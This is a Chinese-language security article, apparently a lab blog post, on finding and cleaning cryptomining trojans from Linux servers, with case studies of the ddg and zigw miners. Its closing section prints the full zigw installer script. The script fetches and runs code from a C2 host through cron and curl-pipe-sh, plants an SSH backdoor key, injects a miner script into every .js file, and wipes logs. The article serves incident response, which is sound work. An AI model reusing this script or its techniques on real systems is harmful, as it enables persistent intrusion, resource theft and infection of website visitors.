青藤實驗室|文
0x00 什么是挖礦?
想要理解挖礦,就要先理解什么是區塊鏈、虛擬貨幣。
區塊鏈是一種通過去中心化、去信任的方式集體維護的一個可靠存儲。區塊鏈中的每個節點都能獲得一份完整的數據拷貝。
虛擬貨幣是基于區塊鏈的應用。區塊鏈是底層技術,虛擬貨幣是基于此技術的應用。以比特幣為例,可以說比特幣是區塊鏈,但區塊鏈不是比特幣。
什么是挖礦呢?
每隔一個時間點,比特幣系統會在系統節點上生成一個隨機代碼,互聯網中的所有計算機都可以去尋找此代碼,誰找到此代碼,就會產生一個區塊。而比特幣的發行是基于獎勵的,每促成一個區塊的生成,該節點便獲得相應獎勵,這樣大家就有動力投入資金去維護整個交易網絡的正常運行。這個尋找代碼獲得獎勵的過程就是挖礦。但是要計算出符合條件的值需要進行上萬億次的哈希運算,這個過程需要大量的算力,于是部分黑客就會通過入侵服務器的方式來控制別人的計算機幫助自己挖礦。
挖礦木馬
挖礦木馬一般為自動化掃描、攻擊、部署挖礦進程的腳本,攻擊者首先將挖礦腳本放在遠程主機上,通過常見或最新爆出的可命令執行的自動化漏洞利用腳本獲得主機的控制權后,登陸主機,利用wget或curl直接下載遠程挖礦進程部署腳本,執行腳本進行挖礦進程的部署、隱藏、持久化和痕跡清除等工作。
挖礦流程一般為:
- 通過已知漏洞獲得主機控制權
- 下載遠程挖礦腳本
- 刪除本機中可能存在的其他挖礦進程(可見黑產競爭的激烈程度)
- 生成特征文件避免重復感染
- 判斷主機系統類型和位數,隱藏并運行挖礦進程
- 如果有GPU則進行GPU挖礦
- 挖礦進程的駐留與持久化
- 部分有蠕蟲功能的腳本還會以當前主機為跳板,利用已知漏洞和弱口令進行局域網掃描,以控制更多主機。
- 清除痕跡
0x01 常見被挖礦的原因
為了追求高效率,現在的黑客一般都是通過自動化腳本去掃描互聯網上所有機器,尋找漏洞然后部署挖礦進程。所以大部分的挖礦都是由于受害者的主機上存在常見的漏洞。比如
- 未授權訪問或弱口令:redis未授權訪問、Docker API未授權訪問,Hadoop Yarn 未授權訪問、NFS未授權訪問、Rsync弱口令、PostgreSQL弱口令、Tomcat弱口令、SSH弱口令、Telnet弱口令、windows遠程桌面弱口令;
- 遠程命令執行漏洞:WebLogic XML 反序列化漏洞、Jenkins反序列化、Jboss遠程代碼執行、Spring遠程代碼執行、ElasticSearch命令執行、永恒之藍、Struts2系列漏洞、常見CMS的遠程命令執行漏洞;
- 新爆的高危漏洞:一般每次爆發新的高危漏洞,都會緊跟一波大規模的全網掃描利用和挖礦。
一旦發現服務器被挖礦,應該首先查看挖礦進程所屬的用戶,根據挖礦進程的運行用戶去排查該用戶下是否還運行著其它進程,確定這些進程是否有上述經常被黑客利用的漏洞。如果有常見的漏洞,則應該重點對此進行排查。
0x02 被挖礦特征
- 主機CPU使用率飆升
- 電費激增
0x03 排查過程
1. 確定挖礦進程
可以使用top命令直接篩選出占用CPU過高的可疑進程。
部分挖礦進程的名字由不規則數字和字母組成,可直接看出(如ddg的qW3xT.4或zigw等)。


也有的挖礦進程會修改進程名為常見名稱,干擾運維人員,這種偽裝方法比較簡單(比如利用XHide修改進程名或直接修改可執行文件名),所以排查過程中也要關注所有占用CPU較高的可疑進程。

如果看到了可疑進程,可以使用lsof -p pid 查看進程打開的文件,或查看/proc/pid/exe 指向的文件。
lsof

proc

從上圖可以看到,Python進程所指向的文件明顯為異常文件,此時就需要重點排查該文件。如果挖礦木馬有隱藏進程的功能,那么很難直接從top中確定可疑進程名。這時,可從以下幾方面進行排查:
1).是否替換了系統命令
使用 rpm -Va 查看系統命令是否被替換,如果系統命令已經被替換,可直接從純凈系統拷貝ps,top,等命令到受感染主機上使用。

可以看到,系統的ps、netstat、lsof 三個命令均被替換。
ps命令被替換后,會修改ps輸出的內容,從而隱藏可疑進程。此時直接使用ps命令時,會導致查詢不準確。比如gates木馬會替換ps命令,直接使用ps -ef命令查看進程時,會隱藏一個位于/usr/bin/下的進程。如下,使用busybox可看到可疑進程,但是使用系統的ps命令就不會看到/usr/bin/bsd-port/recei進程。

2).是否修改了動態鏈接庫
如果找不到占用CPU較高的進程,可考慮排查是否修改了動態鏈接庫,使用cat /etc/ld.so.preload 或echo $LD_PRELOAD 命令查看是否有預加載的動態鏈接庫文件。
也可以使用ldd命令查看命令依賴庫中是否有可疑動態庫文件,如圖,在將libprocesshider.so文件加入ld.so.preload文件中后,ldd 命令可看到top命令預先加載了可疑動態庫。

確認已經加載惡意動態鏈接庫后,直接移除惡意動態鏈接庫文件或清除ld.so.preload中對該庫文件的引用內容即可。
3).以上情況都可以直接通過靜態編譯的busybox進行排查。
2. 查看挖礦進程所屬用戶
一般挖礦進程為自動化攻擊腳本,所以很少有提權的過程,那么很大可能挖礦進程所屬用戶即為攻擊進入系統的用戶。后續的排查過程可根據此尋找攻擊者的入侵途徑。
top

ps -ef |grep pid

兩種方式都可以看到,挖礦進程所屬用戶為 weblogic。
3. 查看用戶進程
確定已失陷用戶后,可查詢該用戶所屬其他進程,判斷其他進程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授權、Hadoop yarn未授權、SSH弱口令)等問題。
ps -ef|grep username

可以看到,weblogic用戶下除了兩個挖礦進程,還有一個weblogic應用的進程,所以這時候就應該判斷該該weblogic應用是否有已知的漏洞(比如WebLogic反序列化漏洞)。如果有的話,那么該挖礦進程很可能是利用了該漏洞進入主機。
4. 確定原因
排查出挖礦木馬后對木馬類型進行分析,根據木馬的傳播特征和傳播方式,初步判斷本次入侵的原因。然后結合應用日志以及漏洞利用殘留文件確定本次攻擊是否利用了該漏洞。
比如,利用redis未授權訪問漏洞后,一般會修改redis的dbfilename和dir的配置,并且使用reids寫文件時,會在文件中殘留redis和版本號標識,可以根據以上兩個信息排查是否利用了redis。


0x04 清除挖礦木馬
1. 及時隔離主機
部分帶有蠕蟲功能的挖礦木馬在取得本機的控制權后,會以本機為跳板機,對同一局域網內的其他主機進行已知漏洞的掃描和進一步利用,所以發現挖礦現象后,在不影響業務的前提下應該及時隔離受感染主機,然后進行下一步分析。
2. 阻斷與礦池通訊
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
3. 清除定時任務
大部分挖礦進程會在受感染主機中寫入定時任務完成程序的駐留,當安全人員只清除挖礦木馬時,定時任務會再次從服務器下載挖礦進程或直接執行挖礦腳本,導致挖礦進程清除失敗。
使用crontab -l 或 vim /var/spool/cron/root 查看是否有可疑定時任務,有的話直接刪除,或停止crond進程。

還有
/etc/crontab、/var/spool/cron、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/、/etc/anacrontab 等文件夾或文件中的內容也要關注。
4. 清除啟動項
還有的挖礦進程為了實現長期駐留,會向系統中添加啟動項來確保系統重啟后挖礦進程還能重新啟動。所以在清除時還應該關注啟動項中的內容,如果有可疑的啟動項,也應該進行排查,確認是挖礦進程后,對其進行清除。
排查過程中重點應該關注:
/etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目錄或文件下的內容。
5. 清除公鑰文件
在用戶家目錄的.ssh目錄下放置authoruzed_keys文件,從而免密登陸該機器也是一種常見的保持服務器控制權的手段。在排查過程中應該查看該文件中是否有可疑公鑰信息,有的話直接刪除,避免攻擊者再次免密登陸該主機。
[UserDIR]/.ssh/authorized_keys
6. kill挖礦進程
對于單進程挖礦程序,直接結束挖礦進程即可。但是對于大多數的挖礦進程,如果挖礦進程有守護進程,應先殺死守護進程再殺死挖礦進程,避免清除不徹底。
kill -9 pid 或 pkill ddg.3014
在實際的清除工作中,應找到本機上運行的挖礦腳本,根據腳本的執行流程確定木馬的駐留方式,并按照順序進行清除,避免清除不徹底。
0x005 挖礦進程清除實例
1. ddgs.3014清除
DDG 是一個專注于掃描控制 SSH 、 Redis數據庫 和 OrientDB數據庫服務器,并利用服務器算力挖礦(門羅幣)的僵尸網絡。

ddg.3014的執行腳本 i.sh

可以看到,腳本的執行流程是先寫入定時任務(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下載對應版本的ddgs.3014文件并執行,最后清除其他存在于本機的挖礦樣本。
ddgs.3014執行后會主動連接攻擊者的C2服務器去下載相應的挖礦程序并運行,而且ddg還內置了redis和SSH掃描器,會對redis和SSH進行爆破,ddg還會在.ssh/authorized_keys中留下公鑰。


ddgs.3014程序 和 qW3xT.4挖礦文件,

此時會有兩個ddg相關進程進程,ddg.3014和qW3xT.4,

使用top命令可以看到,占用cpu較高的是qW3xT.4進程,即礦機。

根據腳本的執行流程可以知道,ddg.3014挖礦木馬的清除步驟是
1).首先清除定時任務,刪除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的內容
2).結束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014
3).結束礦機進程,kill -9 1734 或 pkill -9 qW3xT.4
4).清除其他殘留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4
5).清除authorized_keys中的惡意公鑰, echo "" > ~/.ssh/authorized_keys
2. zigw清除
zigw是一種XMR挖礦工具,攻擊者通過爆破SSH獲取系統權限,配置root用戶免密登錄,并下載及執行XMR 挖礦程序,及XMR 網頁挖礦程序。XMR挖礦程序耗主機的CPU/GPU資源,網頁挖礦程序耗訪問服務器JS 網頁的客戶端資源 。
攻擊者的C2服務器頁面本身就自帶JS挖礦效果:

zigw的執行腳本 shz.sh如下,
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ] then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr else
echo "ok"fiif [ -f "$rtdir" ] then
echo "goto 1" >> /etc/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ] then
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
mkdir /root/.ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then
cd /etc
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/etc/zigw"
if [ -f "$file" ] then
if [ "$filesize" -ne "1467080" ] then
chattr -i /etc/zigw
rm -f zigw if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi
fi
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi
fi
chmod 777 zigw
sleep 1s
./zigw else
echo "runing....."
fi
chmod 777 /etc/zigw
chattr +i /etc/zigw
chmod 777 /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ] then
echo "exists shell"
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh fi
sh /etc/shz.sh fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ] then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then
cd /tmp
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/tmp/zigw"
if [ -f "$file" ] then
if [ "$filesize" -ne "1467080" ] then
chattr -i /tmp/zigw
rm -f zigw if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi
fi
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi
fi
chmod 777 zigw
sleep 1s
./zigw else
echo "runing....."
fi
chmod 777 /tmp/zigw
chattr +i /tmp/zigw
chmod 777 /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ] then
echo "exists shell"
else
if [ -f "$bbdir" ] then
curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then
url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then
wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then
get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh fi
sh /tmp/shz.sh fifiiptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$adocument.write(''<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historyecho > /var/spool/mail/root